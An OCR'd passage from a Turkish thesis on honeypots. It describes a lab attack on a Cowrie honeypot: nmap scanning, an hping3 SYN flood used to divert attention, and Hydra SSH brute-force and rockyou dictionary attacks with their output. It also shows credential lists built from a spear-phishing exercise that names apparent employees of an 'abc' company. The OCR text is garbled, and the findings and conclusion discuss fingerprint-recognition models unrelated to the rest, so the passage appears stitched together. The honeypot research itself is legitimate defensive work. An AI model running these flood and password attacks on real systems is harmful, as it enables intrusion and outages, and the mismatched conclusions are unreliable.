Arastirma Balkiipii olmak iizere iki kategoriye ayrilmaktadir (Roesch ve digerleri, 2019)

Bu tanima gore Honeypot'lar genel olarak kullanim amaclar1 ve sagladiklar1 erisim diizeyi
acisindan iki sekilde birbirinden ayirt edilebilir. Uretim Honeypot'lar1 is/iiretim
ortamindaki riskleri azaltmak i¢in kullanilir ve dolayisiyla biiytik 6l¢ekli organizasyonlarda
kullanilir. Ote yandan arastirma balkiipleri saldirgan hakkinda miimkiin oldugunca fazla
bilgi toplamaktadir. Arastirma bal kiipleri bir kurulusa giivenlik degeri katmasa da,
saldirganlarin eylemlerini ve amaglarint anlamada ¢ok yardimer olabilirler. Sekil 3.32'deki

diyagramda 6zelliklerine gore bal kiipii siniflandirmasi gosterilmektedir (Verma, 2003).

Bagka bir tanim; Arastirma bal kiipleri, saldirganlarin kullandig1 yeni saldir1 tekniklerini
arastirmak ve tespit etmek i¢in akademik, kurumsal veya amatér amaglarla kullanilan basit

sistemlerdir. Kimlik av1 seklinde saldirganlar1 cezbeden sistemler olarak da adlandirilabilir

(Sokol, Misek ve Husak, 2017).

Uretim honeypotlar1 ise iizerinde calistiklar1 sistemin bir kopyasini alarak SSH, FTP,

HTTP, SMTP, SMTP gibi hizmetlerde kalan giivenlik agiklari gercek sistemlere ¢ekerek
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gergek sistemlerin zarar gormesini engeller (Tsikerdekis, Zeadally, Schlesener ve Sklavos,
2018).

Bu ¢alismada sifre saldir1 bilgilerinin toplanmasi ve analiz edilmesi kapsaminda kullanilan

honeypot tiirii “Arastirma Honeypot™ olarak ele alinmustir.

Balkiipleri etkilesim diizeylerine gore ¢ tiire ayrilir. Diisiik etkilesim, bal kiiplerinin basit
hizmetleri taklit ettigi diizeydir ve saldirganlara verilen 6zgiirlik minimum diizeydedir.
Yaklasim olarak pasiftirler, dolayisiyla saldirganlar bunlar1 diger sistemlere saldirmak icin
kullanamazlar, dolayisiyla isletmeler i¢in ¢ok uygundurlar ve birgok iiretim bal kiipli bu
kategoriye girer. Orta etkilesimli honeypot, diisiik seviyeye gore daha fazla hizmet saglar
ancak gercek bir isletim sistemi saglamaz. Saldirganlara sagladiklari saldir1 diizeyi arttik¢a
risk de artar. Ust diizey balkiipii, saldirgamin saldirabilecegi gergek bir isletim sistemi

saglar. Bu, sistemi bircok riske ve karmasikliga maruz birakir (Naik ve Jenkins, 2018)

Diisiik etkilesimli honeypot sistemlerinin faaliyet alan1 oldukc¢a siirlidir. Cilinkii diistik
etkilesimde honeypot sistemleri, servisler ve servislerin c¢alistig1 isletim sistemi tamamen
simiile edilmektedir. Bu simiilasyon nedeniyle saldirganin honeypot sistemi iizerinde
yapabilecegi islemler sirlhidir. Saldirganin SSH protokoliinii diisiik etkilesimli bir
honeypot sisteminde simiile etmek istedigini varsayalim. Bu durumda yanitlar, sanki port
22 dinleniyormus gibi gelir. Bu baglanti noktast oturum agma komutlarinin ¢alistirilmasina
olanak tanir. Ayrica cesitli SSH komutlar1 da caligtirilir. Saldirgan veya kotii niyetli

etkinlik, SSH hizmetinin burada ¢alistigin1 diisiiniiyor. Ancak tiim islemler taklittir.

Bunlara ek olarak; Saldirganin taklit edilen hizmetin desteklemedigi bir komutu ytiriitmesi
sonucunda sistemin bir honeypot oldugu anlasilabilir. Diisiik etkilesimli bal kiiplerinden
siirl bilgi elde edilir. Saldirganin ve kotii niyetli aktivitenin gercek bir sistemde yapacagi
tim islemleri gergeklestirmesi miimkiin olmayacagi icin her konuda bilgi edinmek
miimkiin olmayabilir. Ancak bunlarin kurulumu ve bakimi oldukga basittir. icerdikleri
sistemler taklit oldugundan ag agisindan herhangi bir risk olusturmazlar. Bilinen
etkinlikleri yakalamada oldukca etkilidirler. En ¢ok kullanilan diisiik etkilesimli honeypot

sistemleri olarak Honeyd, Spectre, KFSensor ve Dionaea sayilabilir.
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Sekil 3.32. Balkopiigiiniin siniflandirilmasi

KFSensor Windows tabanlt bir honeypot sistemidir. Hizmetleri Windows isletim
sisteminde c¢alisiyormus gibi taklit eder. Hizmetler, uygulama katmanindaki OSI
katmanlarindan taklit edilir. Bu nedenle g¢ogunlukla yeni giivenlik duvari kurallari
olusturmak veya yeni IDS imzalar1 yazmak icin kullanilir. Nitin ve arkadaslarinin
caligmasinda analiz ortamu bir KFSensor bal kiipii kullanilarak gerceklestirilmektedir.
Saldir1 simiilasyon verilerinde adli analiz i¢in KFSensor honeypot ve Wireshark analizorii
tarafindan iki farkli log kiimesi kullanilmistir (Naik, Jenkins, Savage ve Yang, 2021).
Honeyd, en yaygin kullanilan diisiik etkilesimli bal kiipii sistemlerinden biridir. Bir ag
lizerinde sanal sistemler olusturan bir uygulama. Olusturulan sanal sistemler uzaktan
kontrol edilebilmektedir. Isletim sistemi ve hizmetler, yapilandirmalarina gére taklit edilir.
Isletim sistemleri ve hizmetlerin cesitliligi olduk¢a genistir. Ayrica tek bir sisteme birden
fazla IP adresi atanabilmesi de 6nemli bir 6zelliktir. Honeyd honeypot'lar ilk olarak 2003
yilinda olusturuldu ve farkli [P adreslerine sahip sanal esleri giivenli bir sekilde dagitabilen

diistik riskli bir honeypot'tur (Dowling, Schukat ve Barrett, 2020).
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GNU lisansi altinda agik kaynakli bir yazilimdir. Spectre, HTTP, POP3 ve FTP gibi ¢esitli
hizmetlerin yani sira en yaygin iglemlere ait bazi sistemleri taklit edebilir (EI Kamel,
Eddabbah, Lmoumen ve Touahni, 2020). Spectre, honeyd gibi herhangi bir isletim
sistemini, tizerinde belirtilen hizmetler ¢alistyormus gibi simiile eder. Honeyd'den ayiran
en biiyiik 6zelligi ise tuzak uygulamalari icermesidir. Bu sayede saldirgan hakkinda bilgi

edinmeye calisir (Arikan ve Benzer, 2018).

Literatiir genel olarak degerlendirildiginde zafiyet tespiti ve karsilastirilmas1 konusunda
caligmalarin oldugu goriilmektedir. Ancak isletim sistemindeki agiklarin en iyi bilinen
zafiyet veritabanlariyla karsilagtirilmasi sonucunda yeni bir zafiyet tespit edilmesi
durumunda sonraki saldirilarin  Onlenmesini inceleyen entegre bir calisma
bulunmamaktadir. Dolayisiyla bu ¢alisma, Sekil 3.29 detayli olarak agiklanan adimlari
takip ederek sistemdeki yeni zafiyeti tespit etmeyi, en kisa siirede kapatmayr veya
miidahale ederek sistem en az hasarla kurtarmayr amacglamaktadir. Bu c¢alismanin

zafiyetlerin tespitine onemli katkilar saglayacagi degerlendirilmektedir.

Calismanin  saldinn  analizleri Sekil 3.31'de belirtilen adimlar takip edilerek
gerceklestirilmistir. Oncelikle portlar taranarak hedef sisteme sizmaya ydnelik agik
portlarin bulunmasi saglanmistir. Bu amacla nmap araci kullanilmistir. Daha sonra hping3
araci kullanilarak gizleme saldiris1 olarak DoS/DDoS saldiris1 gergeklestirilmis ve fazla
paketlerin sistemi zayiflatmasinin hemen ardindan sifre saldirilar1 gerceklestirilmistir.
Saldir1 asamasinin son bdoliimiinde ii¢ tiir sifre saldir1 yontemi gerceklestirildi. Bunlar,
phishing saldiris1 yoluyla kaba kuvvet, sozliik ve hazirlanmis sozliikk kullanilarak yapilan

saldirilardir.

Nmap, bir agdaki cihazlar1 arastirmak ve saldir1 icin bir vektor sunabilecek calisan
hizmetleri veya agik baglanti noktalarini bulmak i¢in kullanilan bir aragtir. Nmap,
sunucunun ve istemcinin varsayilan yapilandirmasin1 bulmak, zayif noktalar1 bulmak veya
daha spesifik olarak her ikisine de saldirmak i¢in acgik baglant1 noktalarini bulmak igin
kullanild1 (Jetty, 2018). Ornegin Cowrie honeypot mimarisi kurulduktan sonra saldirgan
(Kali Linux) makinede nmap komutu ¢aligtirilarak acik portlar taranmis ve Sekil 3.33’deki
gibi SSH ve Telnet portlariin agik oldugu tespit edilmistir. Nmap tarama sonucu

incelendiginde SSH hizmetinin 22 numarali portta ¢alistigi goriilmektedir. SSH, Linux
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sunucularmin uzaktan yonetiminde kullanilan hizmetlerden biridir ve bu nedenle

saldirganlar i¢in dikkat ¢ekici bir 6zellige sahiptir.

® /home/Honeypot

map 192.168.1.46 1-65535
Starting Nmap 7.91 ( https://nmap.org ) at 2021-06-16 05:38 EDT
Nmap scan report for 192.168.1.46
Host is up (0.00021s latency).
Not shown: 65531 closed ports
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 6.0p1 Debian 4+deb7u2 (protocol 2.0)
23/tcp open telnet?
80/tcp open http nginx 1.18.0 (Ubuntu)
22222/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu®.2 (Ubuntu Linux; proto
col 2.0)

Sekil 3.33. Kurban bilgisayariin port taramasi (honeypot)

Hping3, Kali Linux'ta dnceden yapilandirilmis olarak gelen ve terminaldeki komut satiri
aracilifiyla calistirilmasi kolay bir DoS (Hizmet Reddi) aracidir. Saldirgan tek bir komutla
ka¢ paket gondermek istedigini, paketlerin ne kadar biiyiik oldugunu, paketlerin ne kadar
hizli iletildigini, IP Adreslerinin sahte olup olmadigini1 ve paketlerin hedef IP Adresini ve
hedef portunu belirleyebilir (Jones, Wimmer ve Haddad, 2019). Calismada bu aracin
kullanilmasmin amaci, sistemi beklenmedik bir sekilde zorlayarak sifre saldirisinin
kolaylikla yapilmasini saglamaktir. Yani Sekil 3.34’de goriildiigii gibi DoS saldirist bir
gizleme saldirisi olarak kullanilmis ve bu sayede dikkatler temel saldiri olan sifre
saldirisindan uzaklastirilmistir. Hping3 ile Syn paketleri hedef makinenin 80 numarali
baglanti noktasma gonderilir. Bu saldirimin nihai amaci, hedef makineye farkli IP
adresleriyle asirt yiikkleme yapmak ve makineyi hareketsiz hale getirmektir. Bu sayede
sistem yoneticileri ag1 izlese bile kullanilan BOGON IP adresleri ve saldirganin kaynak

adresi tespit edilemeyecek ve dnlem alinmasi kolay olmayacaktir.

@ /
ping3 192.168.1.23 120 80
HPING 192.168.1.23 (eth® 192.168.1.23): S set, 40 headers + 120 data bytes
hping in flood mode, no replies will be shown

2C

—— 192.168.1.23 hping statistic —-

62053930 packets transmitted, @ packets received, 100% packet loss
round-trip min/avg/max = 0.0/0.0/0.0 ms

Sekil 3.34. Kurban makinesine (honeypot) DDoS saldirist gerceklestirilmesi

Saldir1 asamasimin son boliimii olan sifre saldiris1 boliimiinde Hydra araci ile sifre

denemeleri yapilmistir. Hydra, Telnet, RDP, SSH, FTP, HTTP, HTTPS, SMB, cesitli
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veritabanlart ve ¢ok daha fazlasini igeren 50'den fazla Protokole karsi hizli sozliik
saldirilar1 gerceklestirebilen hizli ve esnek bir cevrimici sifre kirma aracidir. THC
(Hackerlarin Se¢imi), arastirmacilarin ve giivenlik danigsmanlarinin bir sisteme uzaktan
yetkisiz erisim saglamanin ne kadar kolay olacagimi gostermeleri i¢cin Hydra'y1r yaratti

(Kakarla, Mairaj ve Javaid, 2018).

Sifre saldirilar1 kapsaminda ilk olarak SSH portuna kaba kuvvet saldirist yapilmistir. Bu
saldir1 sonucunda Sekil 3.35’te goriildiigi gibi kullanict adlar1 ve sifreleri elde edilmistir.
Bu kaba kuvvet saldirisinda “root” kullanic1 adi ve “123456” sifresi denenerek basarili
sifre tahmin sonucu elde edilmistir. Bu basarili girisimden once pek ¢ok basarisiz tahmin

denemesi yapilmistir.

@ /

; root passlist.txt ssh://192.168.1.46 1@
Hydra v9 1 (c) 2020 by van Hauser/THC & David Maciejak - Please do not use in military o
r secret service organizations, or for illegal purposes (this is non-binding, these **x
ignore laws and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2021-06-21 15:26:56

[WARNING] Many SSH configurations limit the number of parallel tasks, it is recommended
to reduce the tasks: use -t &

[DATA] max 9 tasks per 1 server, overall 9 tasks, 9 login tries (1:1/p:9), ~1 try per ta
sk

[DATA] attacking ssh://192.168.1.46:22/

[22][ssh] host: 192.168.1.46 login: root password: 123456

1 of 1 target successfully completed, 1 valid password found

Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2021-06-21 15:26:57

Sekil 3.35. Kaba kuvvet saldirisi

Ikinci olarak en ¢ok kullamlan sifre saldir1 yontemlerinden biri olan sozliik saldirist
gerceklestirildi. Tipik olarak, sifre sozliigii yaygin olarak kullanilan sifreleri ve kullanici
adlar1 gibi tanidik kelimeleri saklar. Bu sozliikk saldirist ig¢in hazir sozliikklerden biri olan
rockyou.txt kullanildi. S6zliik saldiris1 sonucunda Sekil 3.36’da goriildiigii gibi “kok/sifre”
olarak kullanic1 adi/sifre ¢ifti elde edilmistir. Bu ¢ift 8,55 saniyede tespit edilmistir. Bu

stire sifrenin zorluguna gore degisiklik gosterebilir.
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® /
4 root /usr/share/wordlists/rockyou.txt ssh://192.168.1.22
Hydra v9.1 (c) 2020 by van Hauser/THC & David Maciejak - Please do not use in military or secret
service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and et
hics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2021-05-12 18:26:05
[DATA] max & tasks per 1 server, overall &4 tasks, 14344399 login tries (1:1/p:14344399), ~3586100
tries per task

[DATA] attacking ssh://192.168.1.22:22/
[ATTEMPT] target 192.168.1.22 - login

"root"™ - pass "123456" - 1 of 14344399 [child 0] (@/0)
[ATTEMPT] target 192.168.1.22 - login "root" - pass "12345" - 2 of 14344399 [child 1] (0/0)
[ATTEMPT] target 192.168.1.22 - login "root" - pass "123456789" - 3 of 14344399 [child 2] (e/0)
[ATTEMPT] target 192.168.1.22 - login "root" - pass "password” - 4 of 14344399 [child 3] (@/0)
[22][ssh] host: 192.168.1.22 login: root password: password
[STATUS] attack finished for 192.168.1.22 (valid pair found)
1 of 1 target successfully completed, 1 valid password found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2021-05-12 18:26:08

Sekil 3.36. SSH'ye sozliik saldiris1 gerceklestirilmesi

Gilinlimiizde kamu ve diger biiyiik kurumlar dahil olmak iizere tiim kurumlar siber giivenlik
alaninda donanim ve yazilima 6nemli miktarda kaynak ayirmaktadir. Ancak bilindigi gibi
zincir en zayif halkasindan kopar. Ayrica en zayif halka tespit edilirse geri kalan baglarin
ne kadar giiclii oldugu 6nemli degildir. Cogu zaman zayif halka insanlardir. Bu yiizden
sosyal miihendislik ¢ok oOnemlidir. Kullanici faktoriiniin zafiyetlerinden yararlanilarak
sosyal miihendislik yoluyla kullanic1 ad1 ve sifreler ele gecirilebilir. Sosyal miihendislik
saldirilarindan biri de phishing saldirisidir. Phishing saldirilari, e-posta, sms, telefon
gorigmesi gibi gercege c¢ok benzeyen iletisim araglari iizerinden, isyerinin sosyal
kurallarim1  kullanarak kullanicilar1 yaniltmak amaciyla gerceklestirilen saldirilardir.
Saldirganlar, bilgi teknolojileri (BT) ekibi gibi davranarak, tespit edilme riski olmadan
kullanicilardan dogrudan sifrelerini isteyebilir. Genel olarak rastgele kimlik awvi
saldirilarindan farkli olarak hedef odakli kimlik avi saldirilari, belirli bir grubu veya
kurulusu hedef alir ve fikri miilkiyeti, finansal verileri, ticari veya askeri sirlart ve diger
gizli bilgileri ¢calmaya odaklanir. Spear-phishing ile klasik phishing saldirisindan farkli
olarak siber saldirganlar sectikleri hedef kisileri ararlar. Caligmada “abc” sirketi iizerinde
sosyal miithendislik uygulamasi yapilmistir. Hedeflenen “abc” sirket ¢alisanlarinin varsa
sosyal medya hesaplar inceleniyor, varsa forumlardaki mesajlar1 inceleniyor. Saldirganlar
bu arastirmalara dayanarak hedefledikleri kurbanlariyla dogrudan iliskili ve 6zel e-posta
icerigi olusturur. Boylece hedeflenen kisilerin bu saldirilarin kurbani olma ihtimali oldukca
artiyor. Sekil 3.37°de goriildiigli gibi hedef firma olan “abc”ye yonelik phishing saldirilar:

ile elde edilen kullanic1 ad1 ve sifreler kullanilarak listeler olusturulmustur.



- /home/Honeypot
abcpassword. txt
abcl12345

abcgokce
abcbirkan
birkanabc

1234serkan
1234gokce
abcl234serkan
abcl234go

abcl234birkan
abcl234beyza
beyza_abc
birkan_abc

.gonen
.alhan
.tasci
_tasci

s_gonen
g_karacayilmaz
sgonen

btasci

tascib

balhan

alhanb

gonens

e /home/Honeypot
username.txt

b.tasca

tasci_beyza

tas_beyza
beyzatasci

ascibeyza

s .gonen

s_gonen

Jonen_serkan

onen_s

alhan.b

.alhan
birkan_a
alhanb
b.alhan@abc.com
S .gonengabc.com
g.karacayilmaz@abc.com
b.tascigabc.com
g.karacayilmaz
karacayilmaz_g

wokce_karacayilmaz
karacayilmaz_gokce
serkangonengabc.com
gokcekaracayilmazaabc.com

birkanalhan@abc.com
beyzatasci@abc.com

Sekil 3.37. Sosyal miihendislik sonucu olusturulan kullanici ad1 ve sifre listeleri
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Daha sonra sosyal miihendislik ile elde edilen kullanic1 adi/sifre listeleri kullanilarak sifre

saldirilar1 gergeklestirilmis olup, elde edilen kullanici adi ve sifreler Sekil 3.38'de

gosterilmektedir. Sekilde goriildiigli gibi bazi kullanicilar igin sifre listesi denemesi ve

sonuglart goriilmektedir. Daha sonra sosyal miithendislik sonucu olusturulan listelerde hem

kullanicilar hem de sifreler test edildi. Bu denemeler ayn1 zamanda hedef sistem hakkinda

elde edilen bilgilerin saldir1 basarisina ve basart siiresine etkisini de gdstermektedir.

L] /home/Honeypot
/home/Honeypot/username.txt

/home/Honeypot/abcpassword.txt ssh://192.168.1.46
Hydra v9.1 (c) 2020 by van Hauser/THC & David Maciejak - Please do not use in military or secr

nizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyw

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2021-06-16 11:00:21

[WARNING] Many SSH configurations limit the number of parallel

use -t 4

[DATA] max 16 tasks per 1 server, overall 16 tasks, 1482 login tries (1:38/p:39), ~93 tries per task

[DATA] attacking ss 192.1 1
[STATUS] 924.00 tries/min, 924 trie
ssh] host: . 3.1.46 login:

host: 1 .46 login:
] host: 192. 5 login:
host: 192.168.1.46 login: gk

Sekil 3.38. Sosyal miihendislik sifre saldirist sonucu elde edilen kullanict adi ve sifreler

00:01h, 558 to do in 00:01h, 16 active

ervice orga

tasks, it is recommended to reduce the tasks:
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Analizin ikinci asamasinda, loglar agik kaynak log analizéri GUI (Grafik Kullanici
Arayiizll) olan Graylog'a aktarilmistir. Her sistem loglarla iletisim kurdugundan siirekli
olarak takip edilmeleri gerekir. Ancak giinliikler genellikle birden fazla sunucuya yayilir ve
veri hacmi biiyiidiik¢e giinliiklerin yonetimi giderek daha fazla zaman alir. Bu zorluklarin
iistesinden gelmek i¢in, hem yapilandirilmis hem de yapilandirilmamis veri yonetimi ve
hata ayiklama uygulamalar i¢in gili¢lii bir acik kaynakli platform olan Graylog kullanilir.
Bu proje kapsaminda Graylog kullanilmasinin amaci Cowrie honeypot iizerinden alinacak
loglar1 iyi ve agiklayict bir arayiiz ile takip etmek ve loglarin yapay zeka tarafindan
kullanilabilmesi i¢in analiz siirecini kolaylastirarak ortam saglamaktir. Log analizine 6rnek
olarak nmap tarama trafiginin uyarilar1 Sekil 3.39'da gosterilmektedir. Bu nmap taramasi
sonucunda Cowrie loglar1 Graylog iizerinde Sekil 3.39°da gorildiigii gibi bir ¢ikti
olusturulmustur. Bu denemede 192.168.1.43 IP adresinden SSH baglanti noktasina
baglanmaya ¢alisildi. Ancak baglanti kurulamadi. 192.168.1.43 IP adresi nmap taramasinin

yapildig1 makinedir.

timestamp 1F source
2021-06-16 09:41:17 +00:00 ubuntu-20
[CowrieTelnetTransport,30,192.168.1.43] Connection lost after 1 seconds

.

1 2021-06-16 09:41:16 +00:00 ubuntu-20
[cowrie.telnet.factory.HoneyPotTelnetFactory] New connection: 192.168.1.43:583 (192.168.1.46:23) [session: 8e09976cc9a8]
2021-06-16 09:41:16 +00:00 ubuntu-20
[CowrieTelnetTransport,29,192.168.1.43] Connection lost after 5 seconds
2021-06-16 09:41:11 +00:00 ubuntu-20

x [cowrie.telnet.factory.HoneyPotTelnetFactory] New connection: 192.168.1.43:54056 (192.168.1.46:23) [session: 920c171f94d1]

1

2021-06-16 09:41:11 +00:00 ubuntu-20
[CowrieTelnetTransport,28,192.168.1.43] Connection lost after 5 seconds

2021-06-16 09:41:06 +00:00 ubuntu-20
[CowrieTelnetTransport,27,192.168.1.43] Connection lost after 6 seconds

2021.06.16 09:41:06 +00:00 thunti.20

Sekil 3.39. Nmap taramasi i¢in Graylog arayiizii

Sekil 3.40'da gosterildigi gibi Graylog iizerinde anlik olaylarin incelenebilecegi bir
gosterge paneli olusturulmustur. Bu gosterge paneli ile sistem {izerinde ger¢eklesen
olaylarn en ¢ok hangi uygulamada gergeklestigi pasta grafigi ile yiizdesel olarak takip
edilmistir. Ayrica olaylarin sayisal artis1 da takip edilebilmektedir. Bu izlemenin en biiyiik
faydasi, mesaj sayisinda hizli bir artis olmasi durumunda bir saldirinin gergeklestiginin

(veya bir sorun oldugunun) anlagilabilmesidir. Ayni zamanda saldirilarin olaylar
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icerisindeki detaylariyla takip edilmesi, hizli okuma ve aksiyon alinmasina olanak saglar.
Omegin Cowrie'ye yapilan saldirilar Graylog ekranindan anlik olarak izlenebilmektedir.

Ayrica log takibine hiz ve gorsellik kazandirilmistir.

Activities @ chromium Web Browser v May 13 21:04

Graylog - Chromium

| O Graylog x| +

& > C O 127.00.1:9000/search?q=gl2_source_input%3A6044d7d970b4a44870abfe188rangetype=relativesrelative=0

Search  Streams  Alerts  Dashboards  Enterprise  Systemw (2

= Aggregating count() by = Aggregating = Message Count -V = Untitled Message Table v
application_name -V Message Count - =
- timestamp 1F  source
17.1% -
/ 10k 2021.05-13 18:03:52 400:00  ubuntu-20
10.2% 46.8% 29725 [cowrie. telnet. factory.HoneyPotTelnetFactory] New
7.16% connection: 192.168.1.21:47554 (192.168.1.22:23)
6819794 [session: 1cd9c9ceelfs]
k
235% [[ll 0.482% 2
2021.05-13 18035240000 ubuntu-20
B NetworkiManager [CowrleTelnetTransport,123,192.168.1.21] Connecti v
B systemd
B cowrie O Mar2s Apr i1 Apr2s May9 «  BWz213 als/6 789 10
M dbus-daemon 2021
W gnome-shell
count(
| sudo u 0
= All Messages 3
timesamp 15 souree 1
2021.0513 18:03:52 +00:00 ubuntu-20
[cowrie. telnet.factory.HoneyPotTelnetFactory] New connection: 192.168.1.21:47554 (192.168.1.22:23) [session: lcd9c9ceelf5]
20210513 18:03:52 +00:00 ubuntu-20
[CourieTelnetTransport, 123,192.168.1.21] Connection lost after 5 seconds
2021-05-13 18:03:47 +00:00 ubuntu-20

[cowrie. telnet. factory.HoneyPotTelnetFactory] New connection: 192.168.1.21:47552 (192.168.1.22:23) [session: f7a7ed8d5496]

Sekil 3.40. Graylog saldir1 analizi ekrant

Makine Ogrenimi (ML), otomatik olarak gelisen veya ¢alismadan veya deneyimden
ogrenen ve acik¢a programlanmadan hareket eden bir siiregtir. Makine 6grenimi, bilgi
islem siireglerini daha verimli, gilivenilir ve uygun maliyetli hale getiriyor. Makine
Ogrenimi, daha karmagik verileri otomatik, hizli ve daha dogru bir sekilde analiz ederek
modeller olusturur. Temel olarak denetimli 6grenme, denetimsiz §grenme, yari denetimli
ogrenme ve takviyeli Ogrenme olarak smiflandirilir. Makine O6greniminin giicl,
performans iyilestirmeyi Ogrenebilen bir mimari araciligiyla genellestirilmis ¢oziimler
sunma yeteneginde yatmaktadir. Disiplinlerarasi yapisi nedeniyle miihendislik, tip ve
bilgisayar gibi ¢esitli alanlarda &nemli bir rol oynamaktadir. Istatistikler Oncelikle
verilerden hangi sonuglarin ¢ikarilabilecegine odaklanirken, Makine Ogreniminin bu
verileri en etkili sekilde yakalamak, depolamak, indekslemek, almak ve birlestirmek igin
hangi hesaplama mimarileri ve algoritmalarimin kullanilabilecegi hakkinda ek sorulari

vardir (Manogaran ve Lopez ,2017).

Calismanin bu boliimiinde sifre saldirilarini smiflandirmak i¢in makine 6grenmesinin

giiclinden yararlanilmistir. Bu calismada Honeypot'tan gelen verilerin sifre saldirilarina
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gore siniflandirilmasi i¢cin RapidMiner kullanilmistir. Rapid- Miner, makine 6grenimi ve
veri madenciligi i¢in bir aragtir. Bunun igin Oncelikle saldirtya ugrayan Honeypot'un
loglart alinmustir. Daha sonra RapidMiner'daki makine 6grenme algoritmalarina

yerlestirilmistir (Arunadevi, Ramya ve Raja,2018).

Denetimli Ogrenme yonteminde parametreler modele tek tek verilir ve model hem giris
verilerini hem de ¢ikis verilerini bilir. Yeni veriler geldiginde model bunlar1 dikkate alarak
bir analiz gergeklestirir. Denetimsiz Ogrenme ydnteminde algoritmanin yalmzca girdi
verileri vardir ve dogal yapiyr bu verilerden 6grenir. Yar1 Denetimli Ogrenme her iki
teknigi de igerir. Hem etiketli hem de etiketsiz verileri kullanir. Pekistirmeli Ogrenmede
sistem, ¢evre ile etkilesim yoluyla O6grenmeye calisir, istenilen durumu odiillendirir,
istenmeyen durumu ise cezalandirir. Derin Ogrenme yontemi, her katmanmin bir &nceki
katmandan bilgi aldigi ve sonucun bir sonraki katmanda olusturuldugu bir makine
ogrenmesi tiriidiir. Caligmada sistem loglart Unsupervised algoritmas: kullanilarak
Kiimeleme yapisi olusturulmustur. Sonug¢ olarak sistem loglar1 bir karar agaci yapisina
gore dort farkli kiimeye ayrilir. Karar agaci yapist 3 farkli saldir1 tiirlinden ve
tanimlayamadigr saldir1 tiirlerinden olusmaktadir. Sistem loglart iizerinde yapilan
siiflandirma sonucunda kiime yapisi olusturulmustur. Siiflandirma, sifre saldirilarinin
giris yapilip yapilmamasina ve saldirn tiirtine gore siniflandirilmaktadir. Saldiri tiirleri

sozliik saldirilari, kaba kuvvet saldirilar1 ve kimlik avi saldirilar1 olarak siniflandirilir.



87

4. BULGULAR VE YORUM

Tezdeki bulgular, makine 6grenmesi modellerinin parmak izi tanima sistemlerinde nasil
optimize edilebilecegine dair degerli ongoriiler sunmaktadir. Random Forest ve Gradient
Boosting gibi modeller, yiikksek AUC ve dogruluk oranlari ile 6ne g¢ikmaktadir. Bu
modeller, genis veri setleri lizerinde etkili bir sekilde calisabilir ve parmak izi tanima
sistemlerinin dogrulugunu artirabilir. Ozellikle Random Forest'm hizli egitim ve test
stireleri, bu modelin pratik uygulamalar i¢in uygunlugunu gostermektedir. Ancak, bu
modellerin basaris1 sadece teknik performansa dayanmamaktadir. Siber gilivenlikte
biyometrik dogrulama sistemlerinin etkinligi, bu sistemlerin karsilastig1 tehdit tiirlerine ve
kullanim senaryolarina bagli olarak degisiklik gosterir. Bu tezde incelenen makine
ogrenmesi modelleri, siber tehditlerin siirekli evrim gecirdigi bir ortamda parmak izi
tanima sistemlerinin giivenilirligini artirmak i¢in kritik 6neme sahiptir. Random Forest ve
Gradient Boosting'in yiiksek performansi, karmasik veri yapilarint etkili bir sekilde
isleyebilmeleri ve modelin genellemesini iyilestirebilmeleriyle iliskilidir. Bu modellerin
yiiksek dogruluk oranlari, siber giivenlik sistemlerinde yanlis pozitif veya yanlis negatif
oranlarin1 azaltarak, giivenlik ihlallerini dnlemede etkili bir rol oynayabilir. Ote yandan,
SVM modelinin diisiik performansi, bu modelin parmak izi tanima gibi hassas uygulamalar
icin uygun olmadigimi1 ortaya koymaktadir. Bu durum, model seciminin sadece teknik
performans Olgiitlerine gore degil, ayn1 zamanda uygulamanin dogas1 ve gereksinimlerine
gore yapilmasi gerektigini gosterir. Bu bulgular, siber giivenlikte biyometrik dogrulama
sistemlerinin tasarimi ve uygulanmasinda dikkate alinmalidir. Bu tartigma, siber giivenlikte
parmak izi tanima sistemlerinin nasil gelistirilebilecegi ve hangi makine 6grenmesi
modellerinin bu sistemlerde en etkili oldugu konusunda 6nemli 6ngoriiler sunmaktadir.
Ayrica, bu teknolojilerin gelisiminde etik ve gizlilik konularmin da 6nemli oldugunu

vurgulamaktadir.
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5. SONUC VE ONERILER

Bu tez, siber giivenlik alaninda parmak izi tanima sistemlerinin gelistirilmesi i¢in makine
O0grenmesi modellerinin kapsamli bir analizini sunmaktadir. Calisma, Random Forest,
Gradient Boosting, kNN, Neural Network, SGD ve SVM modellerinin parmak izi tanima
sistemlerindeki performansini degerlendirmistir. Bu analiz, siber giivenlikte biyometrik
dogrulama sistemlerinin tasarimi ve uygulanmasi i¢in Oonemli Ongoriiler saglamustir.
Random Forest ve Gradient Boosting modellerinin yiiksek performanslari, bu
teknolojilerin parmak izi tanima sistemlerindeki potansiyelini ortaya koymaktadir. Bu
modellerin etkin kullanimi, siber giivenlik sistemlerinin dogrulugunu ve giivenilirligini
artirabilir. Ozellikle, Random Forest’in hizli egitim ve test siireleri ile yiiksek dogruluk
oranlari, bu modelin pratik siber giivenlik uygulamalar1 i¢in ideal bir se¢enek oldugunu
gostermektedir. Tezde elde edilen bulgular, gelecekteki siber giivenlik arastirmalart igin
onemli yonler sunmaktadir. Gelecekteki ¢alismalar, bu modellerin optimize edilmesi ve
daha etkili siber giivenlik ¢oziimlerinin gelistirilmesi iizerine yogunlagsmalidir. Ayrica, bu
teknolojilerin kullaniminda etik ve gizlilik konularinin 6nemi vurgulanmaktadir. Bu
caligma, siber giivenlikte parmak izi tanima sistemlerinin gelistirilmesine 6nemli katkilar
saglamakta ve bu alanda devam eden arastirmalar i¢in temel olusturmaktadir. Random
Forest, Gradient Boosting ve diger makine 6grenmesi modellerinin siber giivenlikteki
uygulamalari, biyometrik veri tabanli sistemlerin giivenilirligini ve etkinligini artirmada
kritik bir rol oynar. Bununla birlikte, bu teknolojilerin gelisimi, siirekli olarak yeni siber
tehditlerin ortaya ¢ikmasi ve kullanici gizliligi gibi etik meselelerle birlikte ele alinmalidir.
Bu tezde yapilan ¢alisma, siber giivenlikte parmak izi tanima sistemlerinin gelistirilmesine
yonelik onemli bir adim olarak kabul edilebilir. Bu ¢alismanin sonuglari, siber giivenlik
alaninda karar vericiler, aragtirmacilar ve uygulayicilar i¢in Onemli Ongdriiler
